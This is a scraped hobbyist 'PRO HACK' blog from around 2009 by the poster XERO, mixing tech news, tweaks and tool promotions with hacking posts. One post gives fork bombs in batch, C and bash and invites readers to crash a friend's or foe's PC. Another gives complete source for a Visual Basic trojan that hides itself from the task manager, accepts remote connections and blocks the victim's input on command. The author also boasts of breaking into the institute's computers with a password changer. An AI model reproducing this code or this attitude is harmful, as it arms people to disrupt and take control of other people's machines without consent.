PRO HACK

Whilst stumbling on the net,I found this humorous description of 5 types of virus writers written by an actual hacker.I really loved the overall tone of the article and thought its worthy to share it with you guys..Enjoy.

The Fired/Laid-Off Worker - This type is only interested in one thing: revenge. He wants to pay back his boss or another co-worker by wreaking havoc in the company's computer. 

The Messed-Up Kamikaze Dumbass - This persona is quite rare, he will write a malicious virus and then unleash it on his own computer! Then he will sit back and laugh as his computer gets trashed.

The Do-Gooder - This virus writer also belongs to the "dumbass" branch of virus writers. What he does is write a virus, then call McAfee or Norton and tell them about his virus and how to block it, so everybody will be safe from it.

The Prankster - A mostly harmless virus writer here, just makes fake viruses, that don't do anything, just pretend to erase your hard disk. Or the virus could be something annoying like flipping your mouse keys, opening the cd drive, or restarting the computer every 5 minutes.

The 100% Pure Evil Virus Writer - This is the most feared virus writer of all. If you run across this virus overlord, you might as well go back to a piece of paper and forget about your computer. No virus protection program can save you now, AHAHAHA! This is the virus writer that you heard about on the news last night, yeah you know, the one that knocked out the CIA mainframe.

 

posted by XERO.Original Article by : DIzzIE Ó1999.ALL RIGHTS RESERVED.

Recently Google has updated the Gmail with some nifty new touches and hacks that will increase our Email experience.Gmail has tweaked with the attachment system,multiselect system and and a tweaked up title bar that tells you how many unread emails are their in your email box.A little detailed explanation of these enhancements is discussed below -

It was a little tedious to send large or multiple attachments with an email as you had to select each attachment individually and you never knew how long it would be before those bigger files were ready to send. Gmail now allows you to select multiple attachments by holding ctrl key or by using shift key to select a continuous list of files.

It has also included a progress bars on each file as it uploads.A real time saver I must say..

The third hack Gmail has applied on its UI is the tweaked title bar which now shows how many unread messages you have in your inbox. This can be activated by activating the Title bar hacks under the labs section of Gmail.That way you can see how many unread messages you have even if the window is minimized.

These nifty enhancements surely increase the Gmail experience. I love you Google :)

 

Posted by XERO . Gmail blog source 1  source 2. ALL RIGHTS RESERVED.

Hi friends

It gives me immense pleasure to announce it to you that Your favorite technology website is one year old.It was on one sunny morning one year ago I decided to start it up,and then,it all went well. Its because of you I have achieved so much and learnt many things while maintaining this blog.I wish our tribe may increase.

Amen

XERO

 

Posted by XERO. ALL RIGHTS RESERVED

Safe surfing..the term has been getting vague with the increasing virus outbreaks nowdays.PC Magazine once conducted a survey in which they asked the participants to rate their broadband ISP services and the results were astonishing.Most of users didn’t completely understand the seriousness of potential threats or how to protect their PCs. Here are the top 5 Myths about safe surfing over internet.

Myth 1 - I don't keep important things on my PC, so I don't have to worry about security.

Long time ago,this was partially true… but the hybrid worms and viruses of today like Blaster,hidrag and others blindly spread across internet to thousands or millions of PCs in a matter of hours, without regard for who owns them, what is  stored there, or the value of the information they hold for the sole purpose of wreaking havoc. Even if your computer is not attacked directly, it can be used as a zombie to launch a denial-of-service or other attack on a network or to send spam or pornography to other PCs without being traced. Therefore, your civic responsibility is to protect your PC so that others are protected.

Myth 2 - I can protect my PC if I disconnect from the Internet or turn it off when I'm not using it.

Wrong. You are a target,If you connect to the Internet at all. You could download a virus when you connect to internet and it may not be activated immediately,not until you read your email offline days after. Viruses nowadays spread wildly through USB/Pen drives,pirated cd’s or torrents or file from networks.

Myth 3 - I can protect myself from viruses by not opening suspicious e-mail attachments.

Wrong again. The next virus you get may come from your best friend's or boss' computer if his e-mail address book was compromised for simulating an attack. Hybrid worms can enter through the Web browser through loopholes and it is possible to activate some viruses simply by reading or previewing an e-mail. You simply must have a PC-based antivirus package or a firewall.

Myth 4 - I have a Macintosh (or a Linux-based system), not a Windows system, so I don't have to worry about being attacked.

It is true that most attacks target Microsoft Windows–based PCs, but there have been attacks against Mac OS and Linux systems as well. Some experts have predicted that the Mac virus problem will get worse, because Mac OS X uses a version of Unix. And although these systems have some useful security features, they can still be attacked.

Myth 5 - My system came with an antivirus package, so I'm protected.

Not quite. Firstly, if you haven't activated your antivirus to scan incoming web traffic automatically, you are not protected against e-mail and Web browser attacks. Secondly, new threats appear daily, so an antivirus package is only as good as its last update so its a must to activate the auto-update features to keep your guard up against the latest  threats. Thirdly, an antivirus package can't protect you from every threat.Malwares,spywares are running in the wild out there and every then and now malicious code penetrate weak systems.You need a combination of solutions, including, at minimum, antivirus, a personal firewall ,an anti spyware/malware package and a plan for keeping your operating system and software up to date with security patches.

 

Posted by XERO. Credits – PC MAGAZINE . ALL RIGHTS RESERVED.

Windows Vista ships with a tool called the Windows System Assessment Tool (WinSAT) which measures the performance characteristics and capabilities of your computer hardware and aggregates it as the Windows Vista Experience Index (WEI). The Windows Experience Index consists of 5 separate sub scores - Processor, Memory (RAM), Graphics, Gaming  Graphics and Hard Disk. The base score is the lowest of all the sub scores and it roughly defines the hardware potential of a computer system.However with many of dissatisfied with the scores we get,geeks around decided to hack it.The concept behind this hack is that WinSAT calculated system score is stored in a XML file which lies deep in Windows directory and by changing the scores there,you can beef up your Windows Experience Base Score and make your friends gawk at it :)
Here is how to do that -

• Open an Explorer Window and navigate to

C:\Windows\Performance\WinSAT\DataStore

and look for the latest XML file [look in the name for dates]

• Right-click the file and select Properties.
• Click the Security tab.
• Click the Edit button.
• When the UAC prompt appears, click Continue.
• Click the Add button.
• Input your username and click OK.
• Select the username and then click the Full Control checkbox in the Allow column and Click OK.
• When the Security prompt appears, click Yes.
• After taking full ownership, open the XML with WordPad. ONLY OPEN WITH WORDPAD. It will look messy if you open it with NotePad.

<WinSPR>
<SystemScore>x.x</SystemScore>
<MemoryScore>x.x</MemoryScore>
<CpuScore>x.x</CpuScore>
<CPUSubAggScore>x.x</CPUSubAggScore>
<VideoEncodeScore>x.x</VideoEncodeScore>
<GraphicsScore>x.x</GraphicsScore>
<GamingScore>x.x</GamingScore>
<DiskScore>x.x</DiskScore>
<LimitsApplied>

• Then change the numbers between the < > </ > with anything you like then save it. Open up

Control Panel  –>  Performance Information and Tools
and voila! Your WEI scores have changed!

Before
After

Posted by XERO . ALL RIGHTS RESERVED.

BackTrack is the most top rated Linux live distribution focused on penetration testing. BackTrack consists of more than 300 different up-to-date tools which are logically structured according to the work flow of security professionals.

It's evolved from the merge of the two wide spread distributions - Whax and Auditor Security Collection. By joining forces and replacing these distributions, BackTrack has gained massive popularity and was voted in 2006 as the #1 Security Live Distribution by insecure.org. Security professionals as well as new-comers are using BackTrack as their favorite toolset all over the globe.

It takes advantage of SLAX's modular design and structure to enable the user to include customizable scripts, additional tools and configurable kernels in personalized distributions.With no installation whatsoever, the analysis platform is started directly from the CD-Rom and is fully accessible within minutes.

BackTrack's functionality further increases with the arrangement of each tool in 16 categories. The tool categories are as follows -

• Enumeration
• Exploit Archives
• Scanners
• Password Attacks
• Fuzzers
• Spoofing
• Sniffers
• Tunneling
• Wireless Tools
• Bluetooth
• Cisco Tools
• Database Tools
• Forensic Tools
• BackTrack Services
• Reversing
• Misc

In relation to basic software packages, BackTrack includes some ordinary desktop programs such as Mozilla Firefox, Pidgin, K3b, and XMMS.

In short,BackTrack is a must have for any security expert out there.

Download BackTrack

 

Posted by XERO . ALL RIGHTS RESERVED.

 

Microsoft announced the latest revision of Microsoft's OS for handsets at Mobile World Congress today and Steve Ballmer said that to not to call them Windows Mobile phones anymore,henceforth, the devices will be known as Windows Phones.

Windows Phones,an OS which which has over the years been known as Windows CE and Pocket PC and the most latest as Windows mobile phone has been re-branded quite frequently by Microsoft."It's a mouthful to say, 'You want a Windows Mobile phone?'" Ballmer said when asked about the decision to once again re-brand the OS. 

Ballmer's announced about the Windows Mobile 6.5, a refurnished handset OS with touch-optimized user interface; My Phone, an online backup and sync service for Windows phones, and the Windows Marketplace for Mobile app store. 

My Phone and the Windows Marketplace will be accessible to Windows phones running Windows Mobile 6.5.Previous Windows Mobile 6.1 devices will be supported via download at the discretion of vendor.These exclude devices running previous OS,Ballmer said.

Windows Mobile 6.5, sports an improved, more desktop-like browser, will make its debut later this year on handsets including the HTC Touch Diamond2 and the LG-GM730;both announced on  Monday.however, both HTC and LG have made changes to the OS which they believe will make the UI more user friendly. With the new UI, Microsoft hopes to get more vendors on board without significant changes.

Posted by XERO. PCWORLD - Source . ALL RIGHTS RESERVED.

 

A virus (as you know) is a piece of code that does something that it shouldn't. It is a common misconception that you need a vast skill set to make these and that they are extremely complex however in reality they are as simple as sin to make which is why they are so damn annoying.
A Fork bomb is considered to be the smallest writable virus in the batch language and it is capable of being annoying and if launched on a home computer however on a server will probably result in a crash.
A fork bomb creates two instances which each create two instances and so on..the processes recursively fork, this "forks" the processor and jamm it completely until a crash occurs.
Here is how to make it
open up notepad and type:

%0|%0

and save it as fork.bat Yep..its a virus of just 5 characters :P .
On double clicking this file,it will lead to total CPU jam by opening about 500+ process of command prompt .
Here is a in C++ version of Fork bomb

#include <unistd.h>
int main(void)
{
  while(1)
    fork();
  return 0;
}

and a shell (Unix/bash) version

:(){ :|:& };:

Once a successful fork bomb has activated in a system, one may have to reboot to resume normal operation. Stopping a fork bomb requires destroying all running instances of it. Trying to use a program to kill the rogue processes normally requires creating another process  a difficult or impossible task as it will totally use memory for its instances.
Use it for crashing your friends/foe’s PC  :P .

Posted by XERO . ALL RIGHTS RESERVED.

Visual Basic is an easy programming language.So easy that most of advanced programmers don't even compare it to behemoths like C/Pascal/C++/PERL etc.But it seriously packs punch due to its ease in programming and predefined procedures.Earlier wrote on how to lock keyboard and mouse using VB. This time I will be discussing on how to write a simple trojan in VB .Writing a Trojan is a lot easier than most people think. All it really involves is two simple applications both with fewer than 100 lines of code. The first application is the client or the program that one user knows about. The second is the server or the actual “trojan” part. I will now go through what you need for both and some sample code. 

Server
The server is the Trojan part of the program. You usually will want this to be as hidden as possible so the average user can’t find it. To do this you start by using

Private Sub Form_Load()
     Me.Visible = False
End Sub

This little bit of code makes the program invisible to the naked eye. Now we all know that the task manager is a little bit peskier. So to get our application hidden from that a little better we make our code look like this.

Private Sub Form_Load()
     Me.Visible = False
     App.TaskVisible = False
End Sub

So now, we have a program that is virtually invisible to the average user, and it only took four lines of code. Now all of you are thinking that this tutorial sucks right about now so lets make it a lot better by adding functions to our Trojan!
The first thing we want to do is make it be able to listen for connections when it loads. So in order to do this we need to add a Winsock Control. I named my control win but you can name yours what ever.

Now to make it listen on port 2945 when the Trojan starts up we make our code look like this.

Private Sub Form_Load()
     Me.Visible = False
     App.TaskVisible = False
     win.LocalPort = 2945
     win.RemotePort = 455
     win.Listen
End Sub

This code will set the local open port to 2945 and the port it sends it to is 455. So now, we have a program that listens but still doesn’t do anything neat. Lets make it block the input of the user completely when we tell it to!

To do this little devious thing we need to add a module with the following code

Public Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long

Then we add this code to our main form:

Private Sub win_ConnectionRequest(ByVal requestID As Long)
     win.Close
     win.Accept requestID
End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)
    win.GetData GotDat
    DoActions (GotDat)
End Sub

The code in the module is called a windows API. It uses a dll file to do tasks that we want. Now this code still won’t block the users input but we are very close. We now need to program the DoActions function that we called on our main form. In case you were wondering the code that we added to the form does two different things. The first sub makes it so all connection requests are automatically accepted. The second sub makes it so all data is automatically accepted and it then passes all of the data to the function DoActions which we are about to code.

For the DoActions code, we want to make a public function in the module. So add this code to the module and we are about done with the server of the Trojan!

Public Function DoActions(x As String)
     Dim Action
     Select Case x
             Case "block"
             Action = BlockInput(True)
     End Select
End Function

Ok now we have a program that when the data “block” is sent to it on port 2945 it will block the users input. I made a Select Case statement so it is easy to modify this code to your own needs later on. I recommend adding a unblock feature of your own. To do that just call the BlockInput function with the argument False instead of true.

Main Form

Private Sub Form_Load()
     Me.Visible = False
     App.TaskVisible = False
     win.LocalPort = 2945
     win.RemotePort = 455
     win.Listen
End Sub

Private Sub win_ConnectionRequest(ByVal requestID As Long) 
     win.Close
     win.Accept requestID
End Sub

Private Sub win_DataArrival(ByVal bytesTotal As Long)
     win.GetData GotDat
     DoActions (GotDat)
End Sub

Remember to add your winsock control and name it to win if you use this code.

That’s all there is to the server side or Trojan part of it. Now on to the Client.

Client

The client will be what you will interact with. You will use it to connect to the remote server (trojan) and send it commands. Since we made a server that accepts the command of “block” lets make a client that sends the command “block”.

Make a form and add a Winsock Control, a text box, and three buttons. The Text box should be named txtIP if you want it to work with this code. In addition, your buttons should be named cmdConnect, cmdBlockInput, and cmdDisconnect. Now lets look at the code we would use to make our Client.

Private Sub cmdConnect_Click()
     IpAddy = txtIp.Text
     Win.Close
     Win.RemotePort = 2945
     Win.RemoteHost = IpAddy
     Win.LocalPort = 9999
     Win.Connect
     cmdConnect.Enabled = False
End Sub

Private Sub cmdDisconnect_Click()
     Win.Close
     cmdConnect.Enabled = True
End Sub
Private Sub cmdBlockInput_Click()
     Win.SendData "block"
End Sub

That is the code for the client. All it does is gets the Ip Adress from txtIp and connects to it on remote port 2945. Then when connected you can send the “block” data to block off their input.

This completes the tutorial to make a simple Trojan in Visual Basic.

 

Tutorial Courtesy – Go4Expert . VISHAL SHARMA

Posted by XERO . ALL RIGHTS RESERVED.

 

Cain & Abel is a password recovery tool for Microsoft Operating Systems. It allows easy recovery of various kind of passwords by sniffing the network, cracking encrypted passwords using Dictionary, Brute-Force and Cryptanalysis attacks, recording VoIP conversations, decoding scrambled passwords, recovering wireless network keys, revealing password boxes, uncovering cached passwords and analyzing routing protocols. The program does not exploit any software vulnerabilities or bugs that could not be fixed with little effort. It covers some security aspects/weakness present in protocol's standards, authentication methods and caching mechanisms; its main purpose is the simplified recovery of passwords and credentials from various sources, however it also ships some "non standard" utilities for Microsoft Windows users.

Cain & Abel is a useful tool for network administrators, teachers, security consultants/professionals, forensic staff, security software vendors, professional penetration tester and everyone else that plans to use it for ethical reasons.

The latest version is faster and contains a lot of new features like APR (Arp Poison Routing) which enables sniffing on switched LANs and Man-in-the-Middle attacks. The sniffer in this version can also analyze encrypted protocols such as SSH-1 and HTTPS, and contains filters to capture credentials from a wide range of authentication mechanisms. The new version also ships routing protocols authentication monitors and routes extractors, dictionary and brute-force crackers for all common hashing algorithms and for several specific authentications, password/hash calculators, cryptanalysis attacks, password decoders and  some not so common utilities related to network and system security.

 Download Cain and Abel

 

Posted by XERO . OXID.IT. ALL RIGHTS RESERVED.

Hiren's BootCD is an all in one Dos Bootable CD, which consists of extremely essential tools for your system in case of emergency.Hiren's Boot CD is a boot CD containing various diagnostic programs such as partitioning agents, system  performance benchmarks, disk cloning and imaging tools, data recovery tools, MBR tools, BIOS tools, and many others for fixing various computer problems. It is a Bootable CD hence it is useful even if the primary operating system cannot be booted. Hiren's Boot CD has an extensive list of software. I even used to break into Windows based systems in my institute using this CD (by using Active password changer provided in the CD) and till date, its the best one (except Ophcrack,cuz I like rainbow tables :P ). The CD has utilities with similar functionality on the CD and some times they seem redundant however I think this has been done to provide users diverse choices to choose their method of performing an operation. Overall,Hiren's BootCD is a must have tool for every PC user out there, and is an indispensible tool for System Administrators and Powerusers.

Download Hiren’s BootCD

 

Posted by XERO . ALL RIGHTS RESERVED.

Mozilla Firefox is blazingly fast,yet it has been facing stiff competition from Google Chrome in terms of speed.Yes, Firefox is already pretty damn fast but did you know that you can tweak it and improve the speed even more? That's the beauty  of this program being open source.

Here's what you do:
In the URL bar, type “about:config” and press enter. This will bring up the configuration “menu” where you can change the parameters of Firefox.

Note that these are what I’ve found to REALLY speed up my Firefox significantly - and these settings seem to be common among everybody else as well. But these settings are optimized for broadband connections - I mean with as much concurrent requests we’re going to open up with pipelining you’d better have a big connection.

Double Click on the following settings and put in the numbers below - for the true / false booleans - they’ll change when you double click.

browser.tabs.showSingleWindowModePrefs – true
network.http.max-connections – 48
network.http.max-connections-per-server – 16
network.http.max-persistent-connections-per-proxy – 8
network.http.max-persistent-connections-per-server – 4
network.http.pipelining – true
network.http.pipelining.maxrequests – 100
network.http.proxy.pipelining – true
network.http.request.timeout – 300

One more thing… Right-click somewhere on that screen and add a NEW -> Integer. Name it “nglayout.initialpaint.delay” and set its value to “0”. This value is the amount of time the browser waits before it acts on information it receives. Since you’re broadband - it shouldn’t have to wait.

Now you should notice you’re loading pages MUCH faster now!

 

posted by XERO . UNKNOWN SOURCE . ALL RIGHTS RESERVED .

Defragmentation can play havoc with the speed of your computer.For smooth running of windows,disk defragmentation is a must.However the Disk Defragmenter in Windows XP does not include a way to defragment all hard drives at the same time, which is inconvenient when you have more than one hard drive in your computer. 

The method we are going to use is by creating a batch file to defragment all of the drives, one after the other.

The disk defrag utility in Windows XP can be triggered from the command line with the following syntax:

Windows Disk Defragmenter

Copyright (c) 2001 Microsoft Corp. and Executive Software International, Inc.

Usage:

defrag <volume> [-a] [-f] [-v] [-?]

volume drive letter or mount point (d: or d:volmountpoint)

-a Analyze only

-f Force defragmentation even if free space is low

-v Verbose output

-? Display this help text

First, we'll create a file named defragall.bat, and place it anywhere you like, as long as you'll remember where it is. If you want to run it from the command line, you could place it in the windows directory so that it will be available in the system path.

For each hard drive, add a line to the batch file. For instance, if we want to defragment drives C: , D: , and F: we will add these three lines:

defrag c: –f

defrag d: –f

defrag f: –f

To run the defrag, just either double-click on the batch file or start it from the command line.

 

Posted by XERO . HOWTOGEEK . ALL RIGHTS RESERVED .

The wait is over !!!! Its almost 11 years since the release of last canonical Street Fighter game in the series,and Capcom has proved itself again – the game is truly outstanding in almost every sphere of gaming.The Resident Evil maker has  polished every aspect of the game and it truly stands out.Street Fighter IV succeeds in integrating the online and offline experience elegantly,the option to allow other players around the world to challenge you while you're playing through the arcade mode is ingeniously implemented.Street Fighter 4 is easy to pickup,but hides its deepness well under its cloak of graphics and well implemented gameplay.
Street Fighter was well waited by the series fans and its sure to make ripples among the fans and causal players alike.The EX system from Street Fighter 3 : Third Strike and winning gameplay of Street Fighter 2 has been remixed to provide an ultimate brawling experience.IGN,EUROGAMER and various other sites have already praised its fluid gameplay,highly detailed characters and the bundled features.Street Fighter 4 has made a 2nd coming and have revived a dying series to the pinnacle of glory.
Here are some Street Fighter 4 screens -



 

I hope you will be liking the new incarnation of this series.

Cheers and keep learning.

Posted by XERO . ALL RIGHTS RESERVED .

With endeavors like the Xbox Live Marketplace and Zune Marketplace, Microsoft has been cutting out the retail middleman for years. However, the Xbox 360 maker's latest initiative goes a bit further, cutting the retail middleman out of the retail experience.

Microsoft could have used stores to "better articulate" the benefits of Vista. This could have been Microsoft’s paving the way for its Windows 7.

Microsoft today announced that it will be launching its own chain of stores "to transform the PC and Microsoft buying experience." In particular, the company mentioned a desire to better facilitate and demonstrate the advantages of its products. Additionally, Microsoft hopes "to create deeper engagement with consumers and continue to learn firsthand about what they want and how they buy."  

Microsoft has appointed David Porter to be the company's corporate vice president of retail stores for this project. Porter was the head of DreamWorks Animation SKG's worldwide product distribution since 2007, and its his glowing experience and expertise Microsoft is betting on as Porter spent 25 years with retail giant Wal-Mart, starting small time and finishing big-time wit the retail giant by working his way up to vice president and general merchandise manager of the chain's entertainment division.

Porter's first priorities will be to find the right locations and to setup a timeframe for Microsoft’s stores when he begins his work on Monday.

"I am excited about helping consumers make more informed decisions about their PC and software purchases, and we'll share learnings from our stores with our existing retail and OEM partners that are critical to our success," Porter quipped in a statement.

 

Posted by XERO .GAMESPOT.ALL RIGHTS RESERVED.

Hi folks.Sorry my harddisk crashed again..so was not able to post..I formatted my system and that makes me write this post. Many of us format our systems from the supposed legal Windows XP CD’s,the same old vanilla windows installation.   But if you are a power user,you may wish to create your own Windows XP CD with all hacks applied and nitrated with the latest Service pack. Well here is the easiest way to create your own customized Windows XP CD.

You will need

• Nlite
• Latest Service pack (Service Pack 3 as of now).
• Windows Hot-fixes and updates
• Add-ons
• Your (original) Windows XP CD
• Blank CD
• Free Time :P

Here is How to do that

First of all download the above mentioned softwares,collect your drivers and get as much as hot-fixes and add-ons which you want to integrate in your Windows XP CD.

Run Nlite and insert your XP CD. Choose your language and click Next.

Choose your drive and make a new folder on your hard disk. Choose that folder and Nlite will copy all your XP cd there.

Choose your options about integrations and add-ons and user configuration and click next.

Select your service pack and click next. Nlite will integrate service pack into your XP.

Choose the hotfixes to be applied on your windows.

Choose the components you want to remove – like MSN messenger and outlook express 6 (I don't think any body uses them).

Now  finally configure the windows and the miscellaneous options like the background and boot screen and various configurable options.

Now finally apply the speed hacks using the preconfigured options and then hit next.

The process of integration will start and after it ends,You will be provided with the configuration screen where you can enter your CD key,User account settings and network settings and then it will create an ISO file for you which you can burn on any CD with Nero or Alcohol 120% or any CD/DVD burner.

Congrats.. you have created your ultimate Windows XP CD without any hassles.

 

posted by XERO. ALL RIGHTS RESERVED

 

Nmap ("Network Mapper") is a free and open source (license) utility for network exploration or security auditing. Nmap is a perfect scanning tool for hackers out there and boy..they use it extensively.Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime .I will be discussing about how to do simple scanning in Nmap.

Here is how to do that

[1] Start by downloading the version of nmap from here . Net Tools also contain the NMAP scanner.

Windows users, install nmap by extracting the contents of the downloaded file to the C:\WINDOWS\system32 directory.  Linux or Unix geeks can install nmap by extracting the source code to a directory, changing to that directory, and typing " ./configure ", "make", and "make install", all from a command-line terminal.

[2] Now Open a command terminal. On Windows, do this by going to

Start >Programs >Accessories> Command Prompt

On Linux, simply use the terminal open from when you installed nmap.

Change directories to where you saved nmap by typing: "cd [wherever you saved nmap]". You must enter it in a specific format or the command will not work. For instance, to change to My Documents, you would type:

cd C:\Users\Me\My Documents

 

[3] Run a simple ping scan, which will simply say "Hello! Are you connected? " to each computer you specify. Type

nmap -vv -sP [target]

The target can be a domain (www.microsoft.com), an IP address (127.0.0.1), a network (192.168.1.0/24), or a file containing any combination of the above. nmap will discover the IP address of the target if it wasn't given, and immediately ping the target, returning the results, which it prints to the screen.

[4] Lets Try a SYN Stealth scan. This type of scan will try to knock on all of the "doors" of the computer and see if anyone answers. To run a SYN Stealth scan, type

nmap -vv -sS [target]

The -sS switch tells nmap that we want a SYN Stealth scan. nmap will now get the IP address(es) as before, then ping the target to make sure that it is alive. However, instead of stopping there, nmap will now start asking to make a connection to the computer on each "door" or "port" that it has, 1-65535. When the computer opens the door, nmap tears down the connection and reports that the port is open. Once it is finished, it will report its results to you.

Run another SYN scan, but this time, add the " -oX target.xml " switch onto the end. This will output nmap's results to an XML file, viewable in any web browser. The only problem with this is that you need to hunt for the file if you placed it in your system32 directory.

Tips

• Is your target not responding? Then try adding the " -P0 " switch to your scan. This will force nmap to start the scan, even if it thinks that the target doesn't exist and this is useful if the computer is blocked by a firewall.
• Wondering how the scan is going? View nmap's progress by hitting the spacebar or any other key.
• If your scan is taking forever to complete (think twenty minutes or more), try adding the "-F " switch to the nmap scan to have nmap scan only the most frequently used ports.

Keep In Mind

• Make sure that you have permission to scan the target! Scanning www.FBI.gov is just asking for trouble. If you want a target to scan, try scanme.nmap.org. This is a test computer set up by the author of nmap, free to scan without getting yelled at. Or you can read the on how to save your ass from FBI
• If you frequently run nmap scans, be prepared to answer questions from your ISP (Internet Service Provider). Some ISPs routinely look for nmap traffic, and nmap isn't exactly the most inconspicuous tool. nmap is very well-known tool, and one that is used by hackers, so you may have a little explaining to do.

 

I hope that was informative.

 

Posted by XERO.WIKIHOW.ALL RIGHTS RESERVED.

Last time, I discussed about on how to get a job in computers . In this article I will be discussing in detail the each and every type of job available in the diverse field of computers. Trust me, very few people know about the career prospects in the field of computers and here is a great opportunity for you to fasten your seatbelts for shaping your career. Choose a field, focus on it completely and be the pro.

Data Entry - This is a job just about anyone can get. Basically, you take information from a piece of paper and use it to fill out a form on the computer. Many old hands who started out in this role are now heading up computer departments.

Secretarial/Administrative - This position involves some basic office skills. Not only must you understand the basics of using your computer and a few applications, but you'll probably also be expected to take dictation, answer phones, type letters, and keep things organized. In terms of computer skills, you should know how to use word processing, accounting, and spreadsheet programs at the very least. People in this role often move into other computing roles such as Managers, Meeting Organizers and Human Resources. Naturally you can move into mainstream computing areas, particularly QA and Testing.

Power User - Not so much a position as a status of being an extremely proficient user of (typically) Microsoft Office or similar tools. Advanced users of these tools become familiar with the basics of computer programming through starting with Excel macros or Access database programming. One can become very valuable to a small business by learning such skills, and even start to consult with other small businesses at rates typically starting around $50 an hour.

Customer Service/Telesales - These positions usually place a higher emphasis on phone skills than computer skills, but you should know at least the basics of how to use your computer.

Technical Support (Production Support) - Most companies consider technical support to be an entry-level computer job. You are expected to know the operating systems on which the product you'll support will run, and you'll also need to know the basics of any programs that product might interact with. The good news is that the company will teach you what you need to know about their products - you just need to learn everything else. Success in technical support requires good problem-solving skills and a great deal of attention to detail. Technical Support and Problem Management is a rapidly growing area. Users now rely heavily on Help Lines, International Support Centers and the like.

Software Quality Assurance (SQA) Engineer - You need to know as much as the best technical support personnel. You need to be a problem solver, a detective, and sometimes even a Customer Service representative. You'll also need some basic programming skills, since more and more companies are beginning to rely on automated testing. The best SQA engineers understand a little (or a lot) about every aspect of computers, from building them to using them to programming them.

Software Engineer (Developer or Programmer) - To get a job at a top software shop such as Microsoft or Google, you'll need a degree in computer science and detailed understanding of the field. However getting a developer position in some small company may be easier. What do you need to know is the language in which you'll be programming. It is also important to know database fundamentals and (if programming for Windows) the Windows API. Knowing more than one programming language is very helpful. Understanding many of the basic fundamentals of computer science (e.g. linked lists, arrays, pointers, object oriented programming) will be essential in demonstrating your proficiency. 

Business Analyst (Analyst or Systems Analyst or Analyst/Programmer or User Analyst) - This is a relatively new title, but the role is as "old as the hills". People can become a BA with any mix of business and computing skills. It is really a matter of looking at what the company is really after. A good BA should know the process from end to end. The BA is primarily the connection between the business and the developers. To get into this job, and into computing, good knowledge of a business is helpful. So, if you gain good knowledge through your job, and maybe do a computer course, you can get your foot in the door.

Tester (Test Manager) - This one may not seem glamorous, but Testing is seen by the employers as being Number One in importance. It is often an easy way to break into computing, and you don't get many people say "Boy, I really want to be a Tester." Once in this job, you really get to know the whole process, and can easily get into Compliance or Management. Caution. Its usually the Test Manager, who gets the blame if the implementation goes wrong. But who cares. He can always get another job, as most know about this.

Database Administrator/Programmer (DBA) - Database specialists are often software engineers, but not all software engineers work with databases, and some database specialists do not have high formality software engineering or computer science training, having come in via support-oriented career paths which can lead into database administration. DBAs are highly compensated and command considerable influence in typical corporate IT settings. Some DBAs get started by programming Access databases, move to SQL Server, and then to Oracle, through pursuing applied, product-specific certifications. Once a DBA, one can then move into data architecture and systems analysis.

MIS/Network Administration/User Support - MIS (Management of Information Systems) is responsible for making sure that a company's network of computers is working properly at all times. This includes everything from showing the users how to send an e-mail to upgrading or repairing the computers to managing network resources such as file servers, network printers, and Internet firewalls. For user support positions, you need to be an expert at the operating systems in use by computers on the network and the network itself. You also need to know the fundamentals of hardware repair, the Internet, and the applications in use on the network. Network administrators need to know all of that plus how to set up network hardware, cabling, and network resources. Larger companies prefer their MIS personnel to have (or at least be pursuing) special certifications that prove they know their stuff.

Technical Writer (Technical Author, Documentation Analyst) - To be a Technical Writer, you must understand computer basics and the product about which you're writing. You also need to know the programs you'll be using for your writing, such as word processors, desktop publishing programs, web languages such as HTML, and Windows Help- authoring tools. You'll also need to be a good writer (or trick people into thinking you are). The best Technical Authors tend to be ex or trained Journalists or English Teachers, who have an obvious head start. Ex Teachers do have a reputation of doing very well in the computer arena, possibly due to their presentation and management skills.

Compliance - This is a rapidly increasing area, due to exposure of Companies to large payouts (can run into billions) to Government Authorities due to breaking the rules. To get into this area, you just need to show an interest in checking what others do, and making rules. Employers are interested primarily in your knowledge of computer processes, for example, how the Accounts Receivable System works, end to end. Compliance sections generally have large budgets too!

Medicine/Diagnostic Imaging - There are lots of new jobs for computer literate people in Medicine. CT, PET, and MRI scanners all run complex software that should be operated by people with good computer skills.

Production Analyst - Another key position. This guy runs the "real" system, and also is in charge of OKing the new systems that the developers are writing. So, if you are into power, this is the job for you.

Medicine/Diagnostic Imaging - There are lots of new jobs for computer literate people in Medicine. CT, PET, and MRI scanners all run complex software that should be operated by people with good computer skills.

Computer Manager (Project Leader, Executive Director, Vice President and others) - There are probably more of these jobs in computing than anything else, so don't rule it out. The industry is top heavy and full of titles, especially now that much of the real work is being done in India! Remember that these guys can earn very big money. The key job of a manager in computing is to convince users to keep funding computer projects.

Computer Contractor - Even though this role has been around for a long time, there is still a demand. Computer Contractors are usually experienced Professionals but not Managers. Typical Contractor roles are Business Analyst, Tester and Developer. Remember that many computer teams are made up predominantly of Contractors, and that they can make good money, in a booming economy.

Onshore Consultant - Typically a Senior Position but based in a foreign country. Onshore Consultants can be anything  from Senior Managers to Developers. An example of an Onshore Consultant is a Professional from India working in Canada.

Offshore Consultant - A growing industry. The Offshore Consultant is based in his own country and gets his work from overseas, for example, a Developer based in China getting Specifications from Singapore.

 

I hope that was a well detailed overview.

 

Posted by XERO.WIKIHOW.ALL RIGHTS RESERVED.

 

The Hotmail team has finally announced the start of the roll out process for all users worldwide to the latest Wave 3 update of Hotmail and People. Hotmail has been quite behind in features as compared to Gmail and yahoo mail.With Email service providers budding like mushrooms and offering loads of features,the developers at Redmond have unleashed the wave 3 to soften up the competition a bit.Here is the  summary of all the new features coming in this update:

• More storage in Hotmail. Starts with 5 GB, continues to grow,just like Gmail :)
• More themes in including some that change based on time of day or weather.
• The Pesky Top Banner ad has been moved to side of page..whew.
• Addition of  maps, directions, movie times and more to e-mail messages has been introduced with Wave 3 . Makes it easy for you to plan a vacation easily . (UK and US-only, for the moment)

• See “what’s new” updates from people in your network on Hotmail’s Today page.

• POP3 access has been made available to Hotmail users in the US and Brazil, in addition to UK, Canada, Australia, France, Japan, Spain, Germany, Italy, and the Netherlands.
• Create e-mail signatures in HTML . let your creativity fly..
• A more organized People page.

Have you got updated with Hotmail Wave 3 ? Leave me a note.


Posted by XERO.LIVESIDE.ALL RIGHTS RESERVED.

Hi Friends

